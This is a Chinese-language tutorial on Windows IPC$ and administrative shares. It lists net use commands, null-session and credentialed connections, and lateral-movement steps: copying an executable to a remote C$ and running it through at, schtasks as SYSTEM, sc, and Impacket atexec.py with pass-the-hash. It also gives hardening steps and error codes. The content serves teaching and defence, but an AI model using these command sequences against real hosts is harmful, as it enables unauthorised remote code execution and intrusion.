大数跨境

技术干货 | Windows系统安全:IPC$共享和其他共享(C$、D$、Admin$)

技术干货 | Windows系统安全:IPC$共享和其他共享(C$、D$、Admin$) 安世加
2021-09-01
52
导读:纯技术交流

IPC$共享连接技术详解

常见共享命令汇总

net use                              # 查看本机对外连接
net session # 查看其他机器对本机的连接(需管理员权限)
net share # 查看本地共享
net share ipc$ # 开启ipc$共享
net share ipc$ /del # 删除ipc$共享
net share admin$ /del # 删除admin$共享
net share c$ /del # 删除C盘共享
net share d$ /del # 删除D盘共享
net use * /del # 删除所有连接

net use \\\\192.168.10.15 # 建立IPC空连接
net use \\\\192.168.10.15\\ipc$ # 建立IPC空连接
net use \\\\192.168.10.15\\ipc$ /u:"" "" # 指定空用户建立IPC空连接

net view \\\\192.168.10.15 # 查看远程主机默认共享

net use \\\\192.168.10.15 /u:"administrator" "root" # 使用凭据建立IPC连接
net use \\\\192.168.10.15 /del # 删除指定IPC连接

net time \\\\192.168.10.15 # 查看目标主机系统时间

net use \\\\192.168.10.15\\c$ /u:"administrator" "root" # 建立C盘共享连接
dir \\\\192.168.10.15\\c$ # 查看C盘文件
dir \\\\192.168.10.15\\c$\\user # 查看C盘user目录
dir \\\\192.168.10.15\\c$\\user\\test.exe # 查看test.exe文件
net use \\\\192.168.10.15\\c$ /del # 删除C盘共享连接

net use k: \\\\192.168.10.15\\c$ /u:"administrator" "root" # 映射远程C盘到本地K盘
net use k: /del # 删除磁盘映射

IPC$共享机制解析

IPC$(Internet Process Connection)是Windows系统用于进程间通信的命名管道共享机制,支持通过可信用户名和密码建立安全通道,实现远程计算机访问。该功能在Windows NT/2000及以上系统中引入,同一时间仅允许两个IP间建立单一连接。

系统默认开启IPC$、ADMIN$及各逻辑驱动器(C$、D$等)共享,便于管理员远程管理。这些共享为隐藏资源,仅管理员可进行远程操作。可通过执行net share命令查看当前系统开启的共享列表。

所有共享服务依赖139或445端口运行。其中,139端口基于NBT(NetBIOS over TCP/IP)协议,445端口可直接承载SMB服务。Windows 2000以后系统优先尝试445端口通信,若无响应则回退至139端口。

IPC$连接利用条件

1. 开放139/445端口

SMB服务用于文件与打印共享,早期基于NBT使用139端口;现代Windows系统支持通过445端口直接传输。若目标主机未监听139或445端口,IPC$会话无法建立。

客户端连接时会优先尝试445端口,失败后可能回退至139端口。若NBT被禁用,则仅使用445端口通信。

2. 目标主机开启IPC$共享

默认情况下,Windows系统自动启用IPC$及其他管理共享。可通过net share命令验证共享状态。若共享被手动关闭或策略限制,连接将失败。

3. 连接失败常见原因

若目标未开放139或445端口,连接将提示“找不到网络路径”。典型错误包括端口未监听、防火墙拦截、服务未启动等。

IPC$空连接应用

空连接指在未提供用户名和密码的情况下建立的IPC会话,利用NTLM认证机制中的匿名访问特性。早期可通过空连接获取用户列表、组信息等敏感数据。

net use \\\\192.168.10.15
net use \\\\192.168.10.15 /u:"" ""
net use \\\\192.168.10.15\\ipc$ /u:"" ""

空连接的局限性

自Windows Server 2003起,空连接权限被大幅限制,通常无法获取有效信息或执行操作。多数现代系统默认禁止空密码登录,导致此类连接实用性极低。

IPC$非空连接实践

使用合法账户凭据建立的非空连接可获得对应权限,管理员账户拥有完整控制权。

net use \\\\192.168.10.131 /u:"administrator" "密码"

非空连接可执行操作

  • 管理员账户可通过IPC$执行远程命令、文件操作及系统管理任务。
  • 普通用户权限受限,通常仅可使用net time命令查看远程系统时间。

dir命令(查看文件与目录)

连接后可通过dir \\\\IP\\C$方式浏览远程文件系统,并进行文件的增删改查操作。

tasklist命令(查看进程)

通过tasklist /S IP /U 用户名 /P 密码可远程获取目标系统运行进程列表。

tasklist /S 192.168.10.131 /U administrator -P 密码

at命令(计划任务,可实现远程控制)

  • 获取目标时间:net time \\\\192.168.10.131
  • 复制文件至目标:copy vps.exe \\\\192.168.10.131\\c$
  • 创建定时任务执行程序:at \\\\192.168.10.131 17:00:00 C:\\vps.exe

利用计划任务可实现远程代码执行,包括反弹Shell等高级操作。

Windows系统中的计划任务与IPC$共享安全管理

schtasks(计划任务)管理

自Windows Vista及Windows Server 2008起,系统已弃用at命令,转而采用功能更灵活的schtasks命令。该命令操作会生成日志文件,路径为:C:\Windows\Tasks\SchedLgU.txt

在目标主机192.168.10.131创建名为test的计划任务,每小时执行一次C:\vps.exe,以system权限运行:schtasks /create /s 192.168.10.131 /tn test /sc HOURLY /mo 1 /tr c:\vps.exe /ru system /f
常用触发条件参数:/sc onlogon 用户登录时启动/sc onstart 系统启动时启动/sc onidle 系统空闲时启动
查询test任务状态:schtasks /query | findstr test
手动启动test任务:schtasks /run /s 192.168.10.131 /i /tn "test"
删除test任务:schtasks /delete /s 192.168.10.131 /tn "test" /f
使用sc命令创建服务任务示例:copy test.exe \\192.168.10.20\c$sc \\192.168.10.20 create test binpath= "c:\test.exe"sc \\192.168.10.20 start testsc \\192.168.10.20 delete test

Impacket工具中的atexec.py应用

Impacket框架中的atexec.py脚本,通过调用远程系统的计划任务服务实现命令执行,适用于Windows Vista及以上系统,前提是目标主机已开启IPC$共享。该工具可远程执行命令并回显结果

./atexec.py xie/hack:x123456.@192.168.10.130 whoami./atexec.py xie/hack:@192.168.10.130 whoami -hashes aada8eda23213c027743e6c498d751aa:b98e75b5ff7a3d3ff05e07f211ebe7a8

关闭IPC$及其他默认共享

鉴于IPC$共享存在安全风险且对多数用户非必要,建议关闭相关共享以提升系统安全性

1、通过命令行关闭默认共享:

net share ipc$ /delete     关闭IPC$默认共享net share c$ /delete       关闭C盘默认共享net share admin$ /delete   关闭admin$默认共享

2、通过注册表限制匿名访问:

  • 注册表路径:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
  • 键值名称:restrictanonymous
  • 类型:REG_DWORD
  • 取值说明:0x0(默认),0x1(禁止匿名列举用户),0x2(禁止匿名连接IPC$)。建议设置为0x1,避免影响SQL Server等服务运行

IPC$连接失败原因与常见错误码解析

连接失败常见原因

  • 用户名或密码错误
  • 目标主机未启用IPC$共享
  • 无法访问目标主机139或445端口
  • 命令输入存在语法错误

常见错误代码说明

  • 错误5:拒绝访问
  • 错误51:网络路径不可达,通常为网络问题
  • 错误53:路径未找到,可能因IP错误、主机未开机、Server服务未启动或防火墙拦截所致
  • 错误67:网络名不存在,常见于Workstation服务未启动或IPC$已被删除
  • 错误1219:凭据冲突,表示已存在相同目标的连接,需先删除原有会话
  • 错误1326:用户名或密码无效
  • 错误1792:网络登录服务未启动,多见于连接域控制器时NetLogon服务异常
  • 错误2242:用户密码已过期

【声明】内容源于网络
0
0
安世加
各类跨境出海行业相关资讯
内容 2816
粉丝 0
安世加 各类跨境出海行业相关资讯
总阅读12.6k
粉丝0
内容2.8k